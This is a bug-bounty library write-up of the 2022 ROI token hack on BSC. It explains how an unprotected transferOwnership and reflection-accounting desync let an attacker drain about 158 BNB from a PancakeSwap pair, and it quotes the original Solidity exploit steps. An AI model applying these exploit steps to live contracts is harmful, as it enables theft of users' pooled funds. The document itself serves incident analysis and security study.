# Ragnarok Online Invasion: unprotected transferOwnership drains ROI pair

ROI token's transferOwnership lacked access control, letting attacker zero fees, manipulate reflection accounting, and drain ~158 BNB from the BUSD/ROI pair.

- Payout: Real-world hack
- Severity: high
- Program: Ragnarok Online Invasion
- Analysis by: DeFiHackLabs
- Disclosed: 2022-09-08
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-09/ROI_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20220908-roi
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:access-control vuln:accounting-error vuln:business-logic

**Target:** BEP-20 ROI token and PancakeSwap BUSD/ROI pair on BSC
**Root cause:** ROIToken.transferOwnership was callable by anyone (broken access control), and the reflection token's _rOwned/_tOwned accounting could be desynced via excludeFromReward/includeInReward plus tax-fee toggling, letting the attacker spend reflected balances without holding tokens.
**Steps:**
1. Swap 5 BNB -> BUSD -> ROI via PancakeRouter `swapETHForExactTokens` to obtain ROI.
2. Call `ROI.transferOwnership(address(this))` to seize ownership.
3. Zero all fees: `setTaxFeePercent(0)`, `setBuyFee(0,0)`, `setSellFee(0,0)`, `setLiquidityFeePercent(0)`.
4. `excludeFromReward` all holder addresses and self, then transfer all but 100,000 ROI to the BUSD/ROI pair.
5. Set `setTaxFeePercent(99)` and flash-borrow 4,343,012 ROI from the pair via `busdroiPair.swap(4_343_012_692_003_417, 0, address(this), "3030")`; in `pancakeCall` transfer all ROI back so 99% tax is charged to the pair.
6. Set `setTaxFeePercent(0)`, call `includeInReward(address(this))` to reset `_tOwned[address(this)]=0`, then `busdroiPair.sync()`.
7. Swap `swapExactTokensForETHSupportingFeeOnTransferTokens(3_986_806_268_542_825, ...)` ROI->BUSD->WBNB despite zero ROI balance, extracting BNB.
**How found:** Likely source review of ROIToken revealing transferOwnership without onlyOwner and reflection-token accounting quirks exploitable via fee toggling and exclude/include functions.
**Exploitation:** Attacker bought a small ROI position, seized ownership to disable fees, primed reflection exclusions, then used a flash swap from the BUSD/ROI pair with a 99% tax so the pair absorbed the tax while the attacker's reflected balance stayed intact. Resetting _tOwned via includeInReward and syncing reserves let them sell ROI they no longer held, draining ~157.98 BNB (~$44k) from the pair.
**Escalation:** Tax-fee toggling combined with reflection accounting reset amplified a small initial ROI purchase into a full drain of the pair's BNB reserves.
**Insight:** On reflection/fee-on-transfer tokens, check whether ownership/admin setters (transferOwnership, setTaxFeePercent, excludeFromReward) are unprotected; desyncing _rOwned vs _tOwned via includeInReward after a taxed flash swap lets you sell tokens you don't hold.

## Proof of concept (copied exactly from the original report)

**Attacker calls transferOwnership on ROI token**

```
ROI.transferOwnership(address(this)); // Broken Access Control
        ROI.setTaxFeePercent(0);
        ROI.setBuyFee(0, 0);
        ROI.setSellFee(0, 0);
        ROI.setLiquidityFeePercent(0);
```

**Flashloan swap with 99% taxfee**

```
ROI.setTaxFeePercent(99);
        // Attacker flashloans 4,343,012 ROI from [BUSD/ROI Pair], and attacker will immediately payback
        busdroiPair.swap(4_343_012_692_003_417, 0, address(this), "3030");
```

**Swap ROI to WBNB bypassing zero balance**

```
ROI.setTaxFeePercent(0);
        ROI.includeInReward(address(this)); // This will set _tOwned[address(this)] = 0

        busdroiPair.sync(); // Sync reserve before swap
        path[0] = address(ROI);
        path[2] = address(wbnb); // [ROI, BUSD, WBNB]
        ROI.approve(address(pancakeRouter), type(uint256).max);
        pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            3_986_806_268_542_825, 0, path, address(this), block.timestamp
        ); // Oops, zero ROI balance but the _rOwned[address(this)] has been bypassed
```

